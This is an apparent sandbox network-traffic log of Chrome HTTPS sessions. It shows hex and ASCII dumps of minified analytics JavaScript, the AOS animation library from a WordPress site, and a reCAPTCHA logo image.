62 3f 63 2e 69 61 3f 28 65 Data Ascii: function(){return c.Mg};this.V=function(e,f,g,h){h=void 0===h?c.stamp():h;e=c.Ch(e,f,g,h);c.ba(e)};this.Ch=function(e,f,g,h){h=void 0===h?c.stamp():h;return{type:e,data:f,stamp:h,frameId:c.Lb,event:g}};this.ba=function(e){e=G(e)?e:[e];c.hg&&!c.Xb?c.ia?(e
2025-01-10 19:49:35 UTC	8168	IN	Data Raw: 3d 64 3f 30 3a 64 3b 62 3d 67 63 2e 63 61 6c 6c 28 74 68 69 73 2c 61 2c 62 2c 63 29 7c 7c 74 68 69 73 3b 62 2e 44 65 3d 30 3b 62 2e 42 62 3d 30 3b 62 2e 43 65 3d 30 3b 62 2e 62 75 66 66 65 72 3d 5b 5d 3b 62 2e 24 63 3d 32 45 33 3b 62 2e 5a 3d 4a 64 28 61 29 3b 62 2e 55 63 28 29 3b 62 2e 43 65 3d 64 3b 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 63 70 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 6c 26 26 6c 2e 73 74 6f 70 28 29 7d 69 66 28 21 62 2e 7a 62 29 72 65 74 75 72 6e 20 4c 2e 72 65 73 6f 6c 76 65 28 42 29 3b 0a 76 61 72 20 67 3d 76 61 28 61 2c 22 34 22 2c 62 29 2c 68 3d 7b 4b 3a 4a 61 28 29 7d 2c 6b 3d 6e 65 77 20 59 65 28 61 2c 63 2c 66 75 6e 63 74 69 6f 6e 28 6d 2c 70 2c 72 29 7b 69 66 28 21 67 29 72 65 74 Data Ascii: =d?0:d;b=gc.call(this,a,b,c)\|\|this;b.De=0;b.Bb=0;b.Ce=0;b.buffer=[];b.$c=2E3;b.Z=Jd(a);b.Uc();b.Ce=d;return b}function cp(a,b,c,d,e){function f(){l&&l.stop()}if(!b.zb)return L.resolve(B);var g=va(a,"4",b),h={K:Ja()},k=new Ye(a,c,function(m,p,r){if(!g)ret
2025-01-10 19:49:35 UTC	8168	IN	Data Raw: 75 6c 6c 7d 2c 5b 63 2e 65 6c 65 6d 65 6e 74 5d 2e 63 6f 6e 63 61 74 28 75 62 28 74 68 69 73 2e 55 65 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3d 3d 3d 65 3f 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 29 29 29 29 3b 72 65 74 75 72 6e 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 63 5b 30 5d 2e 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 2c 0a 47 28 63 29 29 3f 76 63 28 45 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 6d 61 28 66 29 26 26 66 2e 69 74 65 6d 26 26 6d 61 28 66 2e 69 74 65 6d 29 26 26 21 64 2e 6c 2e 69 73 4e 61 4e 28 66 2e 70 6f 73 69 74 69 6f 6e 29 3f 7b 6e 61 6d 65 3a 66 2e 69 74 65 6d 2e 6e 61 6d 65 7c 7c 66 2e 6e 61 6d 65 2c 70 6f 73 69 74 69 6f 6e 3a 66 2e 70 6f 73 69 74 69 6f 6e 7d 3a 6e 75 Data Ascii: ull},[c.element].concat(ub(this.Ue,document.body===e?document.documentElement:e))));return c.length&&(c=c[0].itemListElement,G(c))?vc(E(function(f){return ma(f)&&f.item&&ma(f.item)&&!d.l.isNaN(f.position)?{name:f.item.name\|\|f.name,position:f.position}:nu
2025-01-10 19:49:35 UTC	8168	IN	Data Raw: 32 3a 32 30 39 37 31 35 32 3e 61 3f 33 3a 32 36 38 34 33 35 34 35 36 3e 61 3f 34 3a 35 2c 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 71 28 61 2c 0a 62 2c 63 2c 64 29 7b 66 6f 72 28 61 3d 62 3b 31 32 37 3c 61 3b 29 63 5b 64 2b 2b 5d 3d 61 26 31 32 37 7c 31 32 38 2c 61 3e 3e 3e 3d 37 3b 63 5b 64 5d 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 75 6a 28 61 2c 62 2c 63 2c 64 29 7b 63 5b 64 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 61 71 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 61 3d 30 3b 61 3c 62 2e 6c 65 6e 67 74 68 3b 2b 2b 61 29 63 5b 64 2b 61 5d 3d 62 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 78 6a 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 2c 65 29 7b 66 6f 72 28 76 61 72 20 66 2c 67 3d 30 2c 68 3d 30 3b 68 3c 63 2e 6c 65 6e 67 74 68 3b 2b Data Ascii: 2:2097152>a?3:268435456>a?4:5,a]}function cq(a,b,c,d){for(a=b;127<a;)c[d++]=a&127\|128,a>>>=7;c[d]=a}function uj(a,b,c,d){c[d]=b}function aq(a,b,c,d){for(a=0;a<b.length;++a)c[d+a]=b[a]}function xj(a){return function(b,c,d,e){for(var f,g=0,h=0;h<c.length;+
2025-01-10 19:49:35 UTC	8168	IN	Data Raw: 7d 2c 67 3d 7b 7d 3b 65 28 28 67 2e 5f 5f 79 6d 3d 28 66 2e 65 63 6f 6d 6d 65 72 63 65 3d 0a 5b 64 5d 2c 66 29 2c 67 29 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 71 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 21 31 2c 65 3d 22 22 3b 69 66 28 21 6d 61 28 62 29 29 72 65 74 75 72 6e 20 50 62 28 63 2c 22 22 2c 22 65 63 6f 6d 65 6f 22 29 2c 64 3b 76 61 72 20 66 3d 62 2e 67 6f 6f 64 73 3b 73 77 69 74 63 68 28 61 29 7b 63 61 73 65 20 22 64 65 74 61 69 6c 22 3a 63 61 73 65 20 22 61 64 64 22 3a 63 61 73 65 20 22 72 65 6d 6f 76 65 22 3a 47 28 66 29 26 26 66 2e 6c 65 6e 67 74 68 3f 28 64 3d 46 6a 28 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 6d 61 28 67 29 26 26 28 4e 28 67 2e 69 64 29 7c 7c 43 62 28 63 2c 67 2e 69 64 29 7c 7c 4e 28 67 2e 6e 61 6d 65 29 Data Ascii: },g={};e((g.__ym=(f.ecommerce=[d],f),g))}}}function Oq(a,b,c){var d=!1,e="";if(!ma(b))return Pb(c,"","ecomeo"),d;var f=b.goods;switch(a){case "detail":case "add":case "remove":G(f)&&f.length?(d=Fj(function(g){return ma(g)&&(N(g.id)\|\|Cb(c,g.id)\|\|N(g.name)
2025-01-10 19:49:35 UTC	8168	IN	Data Raw: 65 63 74 3d 6c 3b 7a 28 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 64 2e 46 65 2e 70 75 73 68 28 2b 6d 29 3b 76 61 72 20 70 3d 63 5b 6d 5d 2c 72 3d 58 28 61 2c 78 28 55 61 28 29 2c 6c 29 2c 35 31 30 30 2c 22 69 73 2e 6d 22 29 2c 71 3d 7b 7d 3b 62 28 70 2e 77 69 6e 64 6f 77 2c 41 28 65 2c 28 71 2e 74 6f 43 6f 75 6e 74 65 72 3d 4d 61 28 6d 29 2c 71 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 76 29 7b 72 61 28 61 2c 72 29 3b 64 2e 66 67 2e 70 75 73 68 28 6d 29 3b 64 2e 72 65 73 6f 6c 76 65 26 26 64 2e 72 65 73 6f 6c 76 65 28 76 29 7d 29 7d 2c 68 29 7d 29 29 5b 22 63 61 74 63 68 22 5d 28 43 28 61 2c 22 69 66 2e 62 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 70 72 28 61 29 7b 76 61 72 20 62 3d 42 2c 63 3d 6e 75 6c 6c 2c 64 3d 61 2e 6c 65 6e 67 74 68 3b 69 66 28 30 21 3d 3d Data Ascii: ect=l;z(function(m){d.Fe.push(+m);var p=c[m],r=X(a,x(Ua(),l),5100,"is.m"),q={};b(p.window,A(e,(q.toCounter=Ma(m),q)),function(t,v){ra(a,r);d.fg.push(m);d.resolve&&d.resolve(v)})},h)}))["catch"](C(a,"if.b"))}function pr(a){var b=B,c=null,d=a.length;if(0!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49739	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:35 UTC	465	OUT	GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:35 UTC	310	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:47 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 29 Aug 2023 22:10:43 GMT ETag: "37a3-6041714fabec0" Accept-Ranges: bytes Content-Length: 14243 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:35 UTC	7882	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 41 4f 53 3d 74 28 29 3a 65 2e 41 4f 53 3d 74 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6f 29 7b 69 66 28 6e 5b 6f 5d 29 72 65 74 75 72 6e 20 6e 5b 6f 5d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o]
2025-01-10 19:49:35 UTC	6361	IN	Data Raw: 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5c 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6c 65 7c 61 76 61 6e 74 67 6f 7c 62 61 64 61 5c 2f 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 6c 61 7a 65 72 7c 63 6f 6d 70 61 6c 7c 65 6c 61 69 6e 65 7c 66 65 6e 6e 65 63 7c 68 69 70 74 6f 70 7c 69 65 6d 6f 62 69 6c 65 7c 69 70 28 68 6f 6e 65 7c 6f 64 29 7c 69 72 69 73 7c 6b 69 6e 64 6c 65 7c 6c 67 65 20 7c 6d 61 65 6d 6f 7c 6d 69 64 70 7c 6d 6d 70 7c 6d 6f 62 69 6c 65 2e 2b 66 69 72 65 66 6f 78 7c 6e 65 74 66 72 6f 6e 74 7c 6f 70 65 72 61 20 6d 28 6f 62 7c 69 6e 29 69 7c 70 61 6c 6d 28 20 6f 73 29 3f 7c 70 68 6f 6e 65 7c 70 28 69 78 69 7c 72 65 29 5c 2f 7c 70 6c 75 63 6b 65 72 7c 70 6f 63 6b 65 74 7c 70 73 70 7c 73 65 72 69 65 73 28 34 7c 36 29 30 7c 73 79 6d 62 69 61 6e 7c Data Ascii: /(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec\|hiptop\|iemobile\|ip(hone\|od)\|iris\|kindle\|lge \|maemo\|midp\|mmp\|mobile.+firefox\|netfront\|opera m(ob\|in)i\|palm( os)?\|phone\|p(ixi\|re)\/\|plucker\|pocket\|psp\|series(4\|6)0\|symbian\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49741	142.250.186.132	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:35 UTC	479	OUT	GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:35 UTC	778	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="recaptcha" Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Content-Length: 18160 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 10 Jan 2025 19:10:02 GMT Expires: Fri, 10 Jan 2025 20:00:02 GMT Cache-Control: public, max-age=3000 Age: 2373 Last-Modified: Wed, 29 Jul 2020 17:15:00 GMT Content-Type: image/png Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 19:49:35 UTC	612	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 98 00 00 01 d0 08 06 00 00 00 9c 30 7c 54 00 00 46 b7 49 44 41 54 78 da ec 9d 5b 6c 5c 47 19 c7 47 71 5b 01 6a cb 03 2d a8 d9 99 b3 be a4 b5 89 51 aa 62 89 e4 cc cc 3a de 3d 9b 4b 9b 36 40 23 4b 50 de 00 55 08 21 28 42 26 21 e5 c1 69 bc 17 97 ab a0 8a 6a 10 42 bd 24 3e 67 f6 ec da 25 14 28 0d 75 02 0f 48 08 54 a4 92 aa e4 a1 94 92 50 35 71 13 db bb 67 77 bd 89 bd cc d9 d8 84 48 ae 62 3b de 62 ef f9 ff a4 bf 66 bd 96 fc 64 9d 9f e6 fb be 33 43 00 00 00 00 b0 42 f4 f7 57 d7 59 df cd 6f 8c a7 bc 87 63 e9 d2 3e 6b a0 f0 4d 24 78 89 0e 4c ec df fa e8 78 22 f2 ad 7f ff 40 f6 9d 3e c4 fb 4e ff 5c c7 16 7d 6f 3e 27 fa ce fc 5a ec 3d f3 62 64 ef 5b 63 91 fd 67 8f 77 ec 39 7e 94 f2 e1 0c 13 ea b0 21 9d a7 0c Data Ascii: PNGIHDR0\|TFIDATx[l\GGq[j-Qb:=K6@#KPU!(B&!ijB$>g%(uHTP5qgwHb;bfd3CBWYoc>kM$xLx"@>N\}o>'Z=bd[cgw9~!
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: af 32 d3 dd d1 12 55 ed d4 54 ef 27 00 80 d5 df 8f f1 25 63 f9 92 49 43 32 c8 bb 08 e6 c1 13 57 04 53 f7 a8 ab 76 3f ec bf e2 c9 4d 50 91 7b 5b 7f f7 37 26 ec 17 b4 74 9e 08 0b f5 85 70 c4 fe f8 86 88 ba 9d 00 00 56 e3 4e 46 35 f5 a4 4a cd ba 16 ff 1d 2b 35 3d 6e 25 bd c0 3f 54 91 b9 24 97 2e 98 fa 8b 47 4b 87 bb 15 26 b3 05 2d 9e f3 fa bb 33 3a 27 28 b7 87 18 b7 bf dc 12 cd dd 7d 9b f8 d9 2d 04 00 b0 7a 76 32 b1 83 13 6d b1 54 e1 fb 56 aa 52 84 64 90 5a 92 de 0a 08 a6 fe e2 61 7e 8f 47 8e 78 7a bd 10 e2 ea 4d fd fd 4b 54 b8 07 98 50 bb 9b b7 0c 37 13 00 c0 ea e8 c9 58 e9 e2 68 3c 7d d1 83 64 90 9a 60 0e 4e 55 3b 3e 7d 7c 5e 30 6b 23 22 53 31 e4 c8 94 5e cf 69 d1 bc c2 b8 33 4c fd 72 9a 39 7c 4f 73 cf d8 fb 08 00 e0 ff 53 2e 8b 3e 56 b9 3b fe 78 79 34 9e Data Ascii: 2UT'%cIC2WSv?MP{[7&tpVNF5J+5=n%?T$.GK&-3:'(}-zv2mTVRdZa~GxzMKTP7Xh<}d`NU;>}\|^0k#"S1^i3Lr9\|OsS.>V;xy4
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: 1c c7 eb a1 05 b5 50 2f 22 24 33 bb c9 f6 66 11 c1 1e da 9d d9 6d b3 ef 4d a3 a9 88 62 0d 68 11 73 2b ea ad 08 4a f1 90 25 ec bc 97 58 4f 95 1e 8a 27 2d 68 f6 cd 26 22 82 7f ea 41 14 a4 28 f1 4f 63 d3 d2 7a 10 5b 28 36 91 98 ec ee bc 9d cd a6 19 67 77 b3 61 b5 08 ad 79 49 76 77 be 1f f8 5e e7 f8 3e bc f9 fe de 7b c8 5d 24 62 4e 96 75 23 7b 3e 7a 50 c4 db fa b7 58 b0 73 e9 8e 8b cb 0d b9 40 30 40 a9 64 68 26 3f 44 79 e9 37 82 5d 4c 8b 0a e6 b3 d0 2f e6 2d 9b e4 c4 b2 66 e4 ae 44 8d ec 91 76 94 4b 57 fc ac a1 19 ce 74 a3 73 81 60 80 32 06 d3 33 3b fa 32 c5 21 62 97 7e 21 4c 56 42 bf a0 b7 a8 60 62 10 4c 6b c7 74 aa bd cc 5c 4f d2 39 a1 c5 c5 bd 6d d3 b9 90 da ce e5 92 b6 ba 73 81 60 80 42 b9 f8 3b a9 5d 3c 61 71 ef 77 ca dd 95 d0 2f e6 10 0c b2 9e 98 a2 fa Data Ascii: P/"$3fmMbhs+J%XO'-h&"A(Ocz[(6gwayIvw^>{]$bNu#{>zPXs@0@dh&?Dy7]L/-fDvKWts`23;2!b~!LVB`bLkt\O9ms`B;]<aqw/
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: 44 40 08 11 51 54 b5 bc 20 a8 2a fa 00 02 2a f5 01 26 b1 cf 99 49 82 80 52 2e 02 a9 05 71 49 76 67 d7 01 04 08 68 41 a8 20 48 69 10 f0 82 40 50 89 a2 f0 40 44 c1 8e e7 ba 8e ed e9 99 43 56 aa 2a 23 bc f6 da 3b 76 fe 3f e9 af 5d c9 6f 5e ef f9 f9 fb be 73 ce b4 4a d6 1a 1b f0 af d9 e0 36 3e 64 6e 82 05 15 99 4a 30 a8 60 10 08 06 b4 0e 13 fe 6a ea c4 bb 98 88 27 a8 08 b0 a0 22 53 b5 c8 50 c1 20 10 0c 68 8d b2 9d 9e 40 79 f0 7b ca a3 af a5 64 b0 98 22 68 91 21 10 0c 68 0f 4c 84 9b a9 93 bc c7 1c b4 c6 10 08 06 81 60 40 9b a0 83 f1 0a 4b 84 8f 51 11 1d c2 75 30 08 04 83 40 30 a0 2d 6c 7a e0 b3 63 ca 83 fe 6f 98 93 7c c1 d0 1a 43 20 18 04 82 01 ed 82 39 e1 c5 54 24 2f 61 ee 82 40 30 08 04 03 da 38 d8 1f 3e 85 89 70 2b 13 c9 41 9c 79 41 a6 2b 98 73 af 78 35 25 Data Ascii: D@QT *&IR.qIvghA Hi@P@DCV#;v?]o^sJ6>dnJ0`j'"SP h@y{d"h!hL`@KQu0@0-lzco\|C 9T$/a@08>p+AyA+sx5%
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: cd 76 59 5e 04 43 07 46 a8 12 cc 22 20 7b f4 73 b6 cb 0c 5b 99 21 18 30 0d 2e 77 e2 95 59 0b 86 89 70 02 5b 93 3b 1c 11 1e 96 4b f2 26 e5 e1 45 5b bc 96 17 65 d5 2e a3 4e fc 76 53 32 39 98 c1 48 c1 f8 8b 45 30 4d c9 1c 47 f4 ea 63 78 c0 19 04 03 7e 00 53 8c 5e 65 39 c9 fb 18 ee 77 5e 2e 6a e6 c2 a3 ba 65 27 67 17 6c bb ab 30 23 9a 33 99 b8 39 93 e9 74 05 13 98 5b 47 98 12 cc 22 62 6d b6 95 d9 a8 ed 94 99 84 64 20 18 30 05 e5 87 d2 13 28 f7 ef 66 3c c2 70 bf 93 11 91 8a 29 82 3f 96 ed d1 d3 0b b3 47 b5 cb 4c 1e be 65 b9 87 d4 4c a6 a3 82 e1 81 12 cc 62 dc 7d 49 8a 95 3b 88 51 1b c7 36 66 08 06 fc 1f 8c 07 6b 2c 11 0d 51 07 cf db ef e4 7f f9 b2 d2 98 90 ef ef 2f db c3 a7 b4 f5 f3 bd 47 49 a6 39 93 81 60 e6 08 4d af dc a6 19 f5 31 9c fc 87 60 c0 61 d2 34 5d Data Ascii: vY^CF" {s[!0.wYp[;K&E[e.NvS29HE0MGcx~S^e9w^.je'gl0#39t[G"bmd 0(f<p)?GLeLb}I;Q6fk,Q/GI9`M1`a4]
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: e7 49 5d 97 1d a9 60 9a 46 0a 46 cb e5 1d 25 97 ca 0f dd 7d 90 0b 04 93 5e f4 10 1d f5 9a ef 63 b9 65 82 c1 3e 0f 6a d1 87 54 07 fb 29 c5 7e 3e 0a fe 03 9d c9 9c 8c 60 28 13 77 9b 26 98 ae 05 3a 73 d9 85 cc 05 82 49 3d c4 11 8b a9 d7 f8 02 82 49 ee 8d 17 ca e4 06 aa 1f 10 4b 37 77 3e df ce 64 5a 13 10 cc 24 72 e9 1b 46 e6 02 c1 98 b1 9e bf c0 c4 43 94 05 fb 21 98 24 aa 97 20 b4 59 50 25 83 ad 52 8f 9a 35 ca 18 00 8d 32 19 47 7c 79 5c c9 44 95 9d 16 4c c3 18 c1 64 73 95 59 c8 5c 20 18 63 b8 8b 87 17 13 b7 ee 10 2e 6b 68 51 4e 26 7b a1 4c 8e 50 16 5e 62 58 ae a7 24 53 d7 99 cc e4 82 91 4d e2 89 c5 5a 30 06 04 fa dd f9 ca 77 c8 5c 20 18 63 b8 7d b0 7a 3d 71 e5 3a ec 1f 8b fd b4 ff d0 ab d4 6d 14 75 f5 62 18 0b d7 2a c9 b8 62 3b f5 c6 5b 93 5c 91 8d 1f 11 4c Data Ascii: I]`FF%}^ce>jT)~>`(w&:sI=IK7w>dZ$rFC!$ YP%R52G\|y\DLdsY\ c.khQN&{LP^bX$SMZ0w\ c}z=q:mub*b;[\L
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: 99 f8 88 e4 ca 6b 1b 67 6f ba f2 84 00 d0 73 81 08 98 4c 86 4a 39 45 a2 74 ed 88 28 21 60 cc b9 07 59 74 d0 53 d1 b7 c6 78 04 82 00 d2 b0 2c d6 98 67 41 cf 05 22 60 cc 41 f4 85 4b 45 5f ec 18 02 c6 a4 5b f4 57 84 7b c5 8a e8 b2 b2 1d 58 a2 9c 9e 4b 91 35 ea b9 04 11 2e 30 ae d5 c9 06 ac 0e f6 81 00 78 67 30 91 c5 14 2e 1d 58 a2 6c ce 23 92 29 ac 3b 45 5f 48 8c 3f f6 17 a4 57 b8 c4 7b 2e 08 17 38 6a 06 73 95 5e 37 09 80 37 60 fa 57 88 52 f8 37 04 8c 39 4b 94 45 29 f6 5d 49 65 78 a6 00 d2 2a 5c d0 73 81 e3 04 4c c8 e6 54 3f 11 00 6f c0 84 5f 15 bd d1 93 08 18 93 1a fc 52 74 27 95 c8 a6 0a 20 3d c2 a5 38 30 c7 52 20 ff 8a 70 81 e3 04 4c 38 cb a9 79 05 c0 07 0d 8a ab c8 53 08 98 54 8d e8 1e 6f f8 06 f9 a1 cb d7 ff 94 00 d2 20 5c d8 9c a9 76 f6 13 7a 2e f0 0e Data Ascii: kgosLJ9Et(!`YtSx,gA"`AKE_[W{XK5.0xg0.Xl#);E_H?W{.8js^77`WR79KE)]Iex*\sLT?o_Rt' =80R pL8ySTo \vz.
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: 17 b7 dd 21 e4 02 00 08 86 c4 9c b9 8c f9 3b 72 01 00 04 43 e2 c4 ed 34 e9 8c 0f 0e 0e b2 2c 06 00 08 86 c4 ad b9 38 c8 05 00 10 0c 89 26 17 6a 2e 00 80 60 48 f4 65 31 6a 2e 00 80 60 48 f4 99 0b 35 17 00 40 30 a4 34 72 61 e6 02 00 08 86 44 af b9 48 3a 8c 5c 20 90 65 d9 fc 04 00 c1 90 18 cf b9 b0 5b 0c a6 09 67 cc 59 30 db 3b 3a 3a 16 25 00 08 86 b0 15 19 62 d1 d7 d7 57 ef d3 1b c6 fd 2a 86 26 24 03 08 86 50 73 81 28 b4 b5 b5 2d 93 74 73 78 78 38 ec 28 9c 70 ff 38 c9 a9 d9 80 60 c8 1f d5 5c 24 3d f2 a9 c8 d4 5c e0 07 cd cd cd f3 dc 37 4e 85 ad ea df cf a0 2b 48 9a 70 1a 99 c9 00 82 21 bf 4c f8 df 53 73 81 62 a4 69 ba de e3 73 34 88 25 f4 95 19 92 79 e3 ef 27 98 c9 00 82 21 b9 91 34 15 17 70 cf 38 4b 13 80 ef 84 9b 0d f7 91 8b 33 e4 32 4b 32 1e b3 af 79 83 Data Ascii: !;rC4,8&j.`He1j.`H5@04raDH:\ e[gY0;::%bW*&$Ps(-tsxx8(p8`\$=\7N+Hp!LSsbis4%y'!4p8K32K2y
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: 4d 91 fd f2 9d 6b 59 ee f6 7a 3a bc bf 7c bb d5 63 7f 09 91 f9 c0 63 c5 5a 44 06 43 60 a0 e4 29 cd 3e 1e 77 1f e8 f5 40 7a 5f 5f 5f df f2 9e 9e 9e cb 33 19 84 c5 2c b3 97 b7 c5 ed 73 50 d2 29 b7 55 bd ff 28 09 91 19 71 3f 59 83 c8 60 08 0c 94 9c 9f c9 e7 13 26 24 ed 77 8e e1 09 7b 35 2b f3 93 01 ea 69 20 89 12 2f 8d 21 2c 16 da 47 25 bd 67 fe cc 4f 92 a8 fb 7e 52 10 19 49 c3 23 23 23 eb 10 19 0c 81 81 b9 78 34 53 3e 7e 22 69 bb 69 1d 1d 1d 5d 9a f7 6a 2e aa d5 bd 5a 62 ca b1 eb b8 35 d9 63 79 d2 9f 7d 50 d2 1f 08 4b d1 75 32 39 1f 87 c3 93 61 da 3b 86 c0 c0 5c a7 36 07 87 dd 37 de 70 1f 79 cc ac 8d 15 eb 31 fb 2c 06 96 1a d8 17 bf d1 9f e9 6a 49 77 f8 73 ef 8c 15 ec 92 72 f1 d9 f9 3e 94 24 32 43 ee 0f ab f1 64 30 04 06 e6 2c 34 81 a4 d3 ee 27 df 98 d7 25 Data Ascii: MkYz:\|ccZDC`)>w@z___3,sP)U(q?Y`&$w{5+i /!,G%gO~RI###x4S>~"ii]j.Zb5cy}PKu29a;\67py1,jIwsr>$2Cd0,4'%
2025-01-10 19:49:35 UTC	1390	IN	Data Raw: fd e5 44 34 46 20 10 8c e6 ff 5e 06 f8 7b b6 b9 96 c5 ae 15 9f 35 76 59 c1 a1 d7 8b 82 0d cd 64 56 f7 63 fb 32 00 71 3b 73 b1 05 73 9e fb 9f 10 d1 38 81 40 30 ba e5 c2 1c e5 fe 0a b7 5c ae 9d 59 79 d6 b8 0f 0a 9b df 2d 32 ea 7f 97 2a 84 33 32 00 c4 a1 5c 78 59 fc 22 f7 f3 89 28 45 20 10 8c 07 72 f9 83 bf 5f 3a 11 4d 16 37 98 d4 cf ac 94 74 df c1 2c bf 51 7f 9c 54 15 24 03 40 7c cd 5c da b9 f5 0f 8f 7d 04 82 d1 5d 73 b1 e5 c2 fd 8c 91 fc 82 3d 99 dd 39 31 a3 e8 e0 ea 52 d9 70 5c aa ca 41 48 06 80 b8 98 b9 74 70 3f 10 0c 06 ef 17 08 04 e3 45 cd c5 96 4b 20 10 98 22 46 98 39 9f 76 dd b3 d2 df bc 76 9b b1 eb 94 54 38 ed 0f c0 28 97 4b 27 b7 c1 48 24 f2 80 40 20 18 0f 96 c5 6c b9 ac 70 e4 a2 23 4f e7 74 df 9b e9 fb 65 3d 4b e6 0c 99 21 cc 64 00 18 85 72 61 ba Data Ascii: D4F ^{5vYdVc2q;ss8@0\Yy-2*32\xY"(E r_:M7t,QT$@\|\}]s=91Rp\AHtp?EK "F9vvT8(K'H$@ lp#Ote=K!dra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49748	216.239.38.181	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
